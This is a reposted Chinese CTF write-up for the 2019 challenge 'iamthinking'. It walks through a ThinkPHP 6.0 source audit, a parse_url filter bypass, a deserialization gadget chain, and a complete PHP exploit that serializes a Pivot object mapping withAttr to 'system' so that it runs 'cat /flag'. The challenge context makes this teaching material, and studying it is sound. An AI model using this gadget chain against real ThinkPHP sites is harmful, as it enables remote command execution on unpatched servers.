IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [安洵杯 2019]iamthinking -> 正文阅读

[PHP知识库][安洵杯 2019]iamthinking

/www.zip下载源码审计

通过README可以看到是ThinkPHP6.0。

当前只能访问到/public/index.php,

关于这个框架的index.php https://www.cnblogs.com/dk1988/p/14417549.html

全局搜索一下unserialize,发现在app/controller/Index.php下存在着反序列化的地方。

存在过滤,通过parse_url的缺陷绕过: https://www.cnblogs.com/tr1ple/p/11137159.html

  • 在解析形如http://xxx.com///index.php?payload=cmd这样的URI时parse_url会返回false来bypass,参数中包含的payload依然存在
  • compress.zlib://data:@127.0.0.1/plain;base64,可以直接传入数据

同时payload参数可控,通过GET方式就能传递到。

接下来要找反序列的点,参考:https://www.cnblogs.com/ophxc/p/13334110.html https://blog.csdn.net/weixin_39710361/article/details/111696260 两篇博文进行审计

当然已经有大佬写了现成的工具https://github.com/wh1t3p1g/phpggc

不过还是希望能自己掌握框架代码审计这些代码量巨大的项目

全局搜索__destruct(),依次查看,Mongo处无法利用free,close都无法利用,只是释放参数,connection处同理。

看向Model.php,跟进save函数

不能让这返回false,即需要满足$this->isEmpty()不成立,$this->trigger('BeforeWrite')为TRUE。看到isEmpty函数

data不设值即可,跟进tigger:

让$this->withEvent为flase即可。

回到save函数,跟进upadteData方法。

protected function updateData(): bool

??? {

??????? // 事件回调

??????? if (false === $this->trigger('BeforeUpdate')) {

??????????? return false;

??????? }

??????? $this->checkData();

??????? // 获取有更新的数据

??????? $data = $this->getChangedData();

??????? if (empty($data)) {

??????????? // 关联更新

??????????? if (!empty($this->relationWrite)) {

??????????????? $this->autoRelationUpdate();

??????????? }

??????????? return true;

??????? }

??????? if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {

??????????? // 自动写入更新时间

??????????? $data[$this->updateTime]?????? = $this->autoWriteTimestamp($this->updateTime);

??????????? $this->data[$this->updateTime] = $data[$this->updateTime];

??????? }

??????? // 检查允许字段

??????? $allowFields = $this->checkAllowFields();

??????? foreach ($this->relationWrite as $name => $val) {

??????????? if (!is_array($val)) {

??????????????? continue;

??????????? }

??????????? foreach ($val as $key) {

??????????????? if (isset($data[$key])) {

??????????????????? unset($data[$key]);

??????????????? }

??????????? }

??????? }

??????? // 模型更新

??????? $db = $this->db();

??????? $db->startTrans();

??????? try {

??????????? $where? = $this->getWhere();

???? ???????$result = $db->where($where)

??????????????? ->strict(false)

??????????????? ->field($allowFields)

??????????????? ->update($data);

??????????? $this->checkResult($result);

??????????? // 关联更新

??????????? if (!empty($this->relationWrite)) {

????? ??????????$this->autoRelationUpdate();

??????????? }

??????????? $db->commit();

??????????? // 更新回调

??????????? $this->trigger('AfterUpdate');

??????????? return true;

??????? } catch (\Exception $e) {

??????????? $db->rollback();

??????????? throw $e;

??????? }

??? }

跟进这个checkAllowFields()

发现字符拼接,可被利用触发__toString。

进入到这一步的条件就是: $this->field为空,且$this->schema也为空。
即: $this->field = []; $this->schema = [];

同时这里还有一个判断,即$this->table,当为true是才能执行字符串的拼接。

所以为了能让这个方法被调用到,我们要让exists存在.

即 $this->exists =True

全局搜索toString魔术方法,在Conversion.php当中。

继续查看tojson这个函数:

跟进到toArray方法。

?? public function toArray(): array

??? {

??????? $item?????? = [];

??????? $hasVisible = false;

??????? foreach ($this->visible as $key => $val) {

??????????? if (is_string($val)) {

??????????????? if (strpos($val, '.')) {

??????????????????? list($relation, $name)????? = explode('.', $val);

??????????????????? $this->visible[$relation][] = $name;

? ??????????????} else {

??????????????????? $this->visible[$val] = true;

??????????????????? $hasVisible????????? = true;

??????????????? }

??????????????? unset($this->visible[$key]);

??????????? }

??????? }

??????? foreach ($this->hidden as $key => $val) {

??????????? if (is_string($val)) {

??????????????? if (strpos($val, '.')) {

??????????????????? list($relation, $name)???? = explode('.', $val);

??????????????????? $this->hidden[$relation][] = $name;

??????????????? } else {

??????????????????? $this->hidden[$val] = true;

??????????????? }

??????????????? unset($this->hidden[$key]);

??????????? }

??????? }

??????? // 合并关联数据

??????? $data = array_merge($this->data, $this->relation);

??????? foreach ($data as $key => $val) {

??????????? if ($val instanceof Model || $val instanceof ModelCollection) {

??????????????? // 关联模型对象

??????????????? if (isset($this->visible[$key]) && is_array($this->visible[$key])) {

??????????????????? $val->visible($this->visible[$key]);

??????????????? } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {

??????????????????? $val->hidden($this->hidden[$key]);

??????????????? }

??????????????? // 关联模型对象

??????????????? if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {

??????????????????? $item[$key] = $val->toArray();

??????????????? }

??????????? } elseif (isset($this->visible[$key])) {

??????????????? $item[$key] = $this->getAttr($key);

??????????? } elseif (!isset($this->hidden[$key]) && !$hasVisible) {

??????????????? $item[$key] = $this->getAttr($key);

??????????? }

??????? }

??????? // 追加属性(必须定义获取器)

??????? foreach ($this->append as $key => $name) {

??????????? $this->appendAttrToArray($item, $key, $name);

??????? }

??????? return $item;

??? }

再看到getAttr方法:

跟进getData方法:

进入到getRealFieldName方法:

如果$this->strict为True,返回$name。

此时再getData方法中:

$this->data[$fielName] = $this->data[$key]

此时再getAttr中就是: $this->getValue($key, $value, null);

跟进getvalue:

protected function getValue(string $name, $value, $relation = false)

??? {

??????? // 检测属性获取器

??????? $fieldName = $this->getRealFieldName($name);

??????? $method??? = 'get' . Str::studly($name) . 'Attr';

??????? if (isset($this->withAttr[$fieldName])) {

??????????? if ($relation) {

??????????????? $value = $this->getRelationValue($relation);

??????????? }

??????????? if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {

??????????????? $value = $this->getJsonValue($fieldName, $value);

??????????? } else {

??????????????? //$fieldName = a

??????????????? //withAttr[a] = system

??????????????? $closure = $this->withAttr[$fieldName];

??????????????? //value = system(ls,)

??????????????? $value?? = $closure($value, $this->data);

? ??????????}

??????? } elseif (method_exists($this, $method)) {

??????????? if ($relation) {

??????????????? $value = $this->getRelationValue($relation);

??????????? }

??????????? $value = $this->$method($value, $this->data);

??????? } elseif (isset($this->type[$fieldName])) {

??????????? // 类型转换

??????????? $value = $this->readTransform($value, $this->type[$fieldName]);

??????? } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {

??????????? $value = $this->getTimestampValue($value);

??????? } elseif ($relation) {

??????????? $value = $this->getRelationValue($relation);

??????????? // 保存关联对象值

??????????? $this->relation[$name] = $value;

??????? }

??????? return $value;

??? }

is_array($this->withAttr[$fieldName])只要这里不成立就会触发到最后命令执行的点,即$this->withAttr[$fieldName]不为数组即可

最终利用链:

think\Model --> __destruct()

think\Model --> save()

think\Model --> updateData()

think\Model --> checkAllowFields()

think\Model --> db()

后半部分利用链(同tp 5.2后半部分利用链)

think\model\concern\Conversion --> __toString()

think\model\concern\Conversion --> __toJson()

think\model\concern\Conversion --> __toArray()

think\model\concern\Attribute --> getAttr()

think\model\concern\Attribute --> getValue()

Exp:

<?php

namespace think\model\concern {

??? trait Conversion

??? {???

??? }

??? trait Attribute

??? {

??????? private $data;

??????? private $withAttr = ["xxx" => "system"];

??????? public function get()

??????? {

??????????? $this->data = ["xxx" => "cat /flag"];

??????? }

??? }

}

namespace think{

??? abstract class Model{

??? use model\concern\Attribute;

??? use model\concern\Conversion;

??? private $lazySave;

??? protected $withEvent;

??? private $exists;

??? private $force;

??? protected $field;

??? protected $schema;

??? protected $table;

??? function __construct(){

??????? $this->lazySave = true;

??????? $this->withEvent = false;

??????? $this->exists = true;

??????? $this->force = true;

??????? $this->field = [];

??????? $this->schema = [];

??????? $this->table = true;

??? }

}

}

namespace think\model{

use think\Model;

class Pivot extends Model

{

??? function __construct($obj='')

??? {

??????? //定义this->data不为空

??????? parent::__construct();

??????? $this->get();

??????? $this->table = $obj;

??? }

}

$a = new Pivot();

$b = new Pivot($a);

echo urlencode(serialize($b));

}

http://9dda91b3-c6bf-4eb1-94f5-64d7f3359e5f.node4.buuoj.cn:81///public/?payload=

提交即可

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-01 11:41:35  更:2021-09-01 11:43:27 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 10:37:04-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码